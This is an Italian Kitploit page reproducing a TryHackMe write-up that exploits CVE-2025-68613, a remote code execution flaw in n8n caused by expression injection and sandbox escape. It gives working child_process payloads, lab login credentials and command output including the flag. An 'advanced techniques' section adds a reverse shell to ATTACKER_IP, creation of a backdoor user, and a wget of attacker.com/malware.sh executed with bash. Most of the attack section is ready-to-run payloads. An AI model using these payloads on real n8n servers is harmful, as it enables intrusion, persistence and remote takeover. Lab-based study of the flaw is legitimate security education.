Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
n8n-cve-2025-68613-thm — Guida didattica per lo sfruttamento di CVE-2025-68613, una RCE critica in n8n workflow automation. Copre l'iniezione di espressioni, l'escape dalla sandbox, lo sviluppo di payload e le strategie di rilevamento tramite un laboratorio TryHackMe. | Kitploit
Strumenti/GitHubGitHub/khin-96/n8n-cve-2025-68613-thm
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCommand and ControlApprendimento e FormazioneRisposta agli IncidentiSviluppo Payload

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Lab e Pratica
GitHubkhin-96/n8n-cve-2025-68613-thm

n8n-cve-2025-68613-thm

Guida didattica per lo sfruttamento di CVE-2025-68613, una RCE critica in n8n workflow automation. Copre l'iniezione di espressioni, l'escape dalla sandbox, lo sviluppo di payload e le strategie di rilevamento tramite un laboratorio TryHackMe.

Vedi Repository
1109 mesi faNon ancora revisionato

CVE-2025-68613 – Sfruttamento Critico di RCE in n8n

Panoramica

Questo repository documenta uno sfruttamento pratico di CVE-2025-68613 (CVSS 9.9), una vulnerabilità critica di esecuzione remota di codice che colpisce la piattaforma di automazione dei flussi di lavoro n8n (versioni dalla 0.211.0 alla 1.120.3).

Questo sfruttamento è stato eseguito eticamente in un ambiente di laboratorio TryHackMe controllato esclusivamente a scopo educativo.


Riepilogo della vulnerabilità

CampoValore
CVE IDCVE-2025-68613
Punteggio CVSS9.9 (Critico)
Pubblicata19 dicembre 2025
Prodotto interessatoPiattaforma di automazione flussi di lavoro n8n
Tipo di vulnerabilitàExpression Injection → Sandbox Escape → RCE
Vettore di attaccoUtente autenticato (predefinito)
Versioni corrette1.120.4, 1.121.1, 1.122.0+
Versioni affette0.211.0 - 1.120.3

Cos'è n8n?

n8n è una piattaforma di automazione dei flussi di lavoro open-source che consente agli utenti di connettere visivamente applicazioni e servizi per l'automazione di attività. Offre:

  • Architettura del flusso di lavoro basata su nodi: Ogni nodo rappresenta un'azione (richiesta API, elaborazione dati, email, ecc.)
  • Oltre 400 integrazioni native: Connettori predefiniti per varie API e servizi
  • Nodi di codice: Esecuzione di codice JavaScript o Python personalizzato
  • Valutazione delle espressioni: Espressioni dinamiche racchiuse in {{ }} valutate come JavaScript

Modelli di distribuzione

  • Istanze self-hosted (on-premise o cloud privato)
  • Servizio gestito cloud-hosted (n8n.cloud)
  • Strumenti di automazione interni all'interno di reti aziendali

Contesto tecnico

La catena di vulnerabilità

La vulnerabilità risiede nel sistema di valutazione delle espressioni del flusso di lavoro di n8n. Quando utenti autenticati configurano flussi di lavoro, il loro input viene elaborato come codice JavaScript senza un adeguato sandboxing.

Catena di escalation del contesto

Sandbox delle espressioni
    ↓ (escape via 'this')
Contesto globale Node.js
    ↓ (accesso a mainModule)
Sistema dei moduli (require)
    ↓ (carica child_process)
Esecuzione di comandi di sistema

Principali carenze

  1. Valutazione insicura delle espressioni: Le espressioni utente racchiuse in {{ }} vengono valutate come JavaScript grezzo senza un adeguato isolamento del contesto
  2. Fuga dal sandbox: L'accesso all'oggetto this consente di eludere le restrizioni del sandbox previste
  3. Accesso illimitato ai moduli: process.mainModule.require() fornisce accesso al sistema di moduli Node.js
  4. Caricamento pericoloso di moduli: Può caricare il modulo child_process per l'esecuzione di comandi di sistema
  5. Nessuna protezione significativa dell'autenticazione: Qualsiasi utente autenticato può sfruttare la vulnerabilità

Analisi del payload exploit

(function(){ 
  return this.process.mainModule.require('child_process').execSync('COMMAND').toString() 
})()

Spiegazione:

  • this → oggetto globale Node.js
  • this.process → oggetto processo Node.js
  • process.mainModule → modulo principale dell'applicazione n8n
  • .require('child_process') → carica il modulo di esecuzione dei comandi di sistema
  • .execSync('COMMAND') → esegue il comando shell in modo sincrono
  • .toString() → converte l'output Buffer in stringa leggibile

Guida allo sfruttamento

Passaggio 1: Autenticazione

Accedi all'istanza n8n vulnerabile e accedi con credenziali valide.

Credenziali del laboratorio:

  • Email: [email protected]
  • Password: Try12345!

Login Screen


Passaggio 2: Benvenuto e creazione del flusso di lavoro

Dopo l'accesso, ti viene presentata l'interfaccia di creazione del flusso di lavoro. Fai clic su "Inizia da zero" per iniziare un nuovo flusso di lavoro.

Welcome Screen


Passaggio 3: Aggiungi trigger manuale

Fai clic su "Aggiungi primo passo" e cerca "Trigger manuale". Questo nodo funge da punto di ingresso per l'esecuzione del flusso di lavoro.

Manual Trigger Setup

Scopo: Il nodo Trigger manuale consente l'esecuzione manuale del flusso di lavoro tramite il pulsante "Esegui flusso di lavoro" nell'interfaccia utente, rendendolo ideale per i test.


Passaggio 4: Configura il flusso di lavoro e aggiungi il mapping dei campi

Aggiungi un nodo "Modifica campi" per eseguire il mapping dei campi. Qui è dove viene sfruttata la vulnerabilità.

Workflow Configuration

Passaggi di configurazione:

  1. Fai clic su "Aggiungi campo" per aggiungere un nuovo mapping dei campi
  2. Imposta la modalità su "Espressione"
  3. Ciò consente la valutazione del codice JavaScript

Passaggio 5: Esegui il comando id

Inietta il payload per eseguire il comando id e recuperare le informazioni sull'utente/privilegi.

Payload:

(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()

Risultato:

uid=1000(node) gid=1000(node) groups=1000(node)

ID Command Execution

Informazioni raccolte:

  • In esecuzione come utente non root (uid=1000)
  • Appartenenza al gruppo (gid=1000)
  • Potenziali percorsi di escalation dei privilegi

Passaggio 6: Enumera il file system con ls

Modifica il payload per eseguire il comando ls ed elencare il contenuto della directory.

Payload:

(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

LS Command Execution

Output mostra:

  • File flag presente: flag.txt
  • Struttura delle directory e permessi dei file
  • Ulteriori dati di ricognizione

Passaggio 7: Estrai dati sensibili

Leggi il file flag usando il comando cat per completare lo sfruttamento.

Payload:

(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()

Flag recuperato:

THM{n8n_exposed_workflow}

Flag Extraction


Tecniche avanzate di sfruttamento

1. Reverse Shell

Stabilisci l'accesso interattivo alla shell per un controllo persistente:

(function(){ 
  return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString() 
})()

2. Crea utente backdoor

Aggiungi un nuovo utente di sistema per accesso persistente:

(function(){ 
  return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString() 
})()

3. Scarica payload dannoso

Recupera ed esegui codice remoto:

(function(){ 
  return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString() 
})()

4. Enumerazione dell'escalation dei privilegi

Controlla i privilegi sudo:

Scarica lo strumento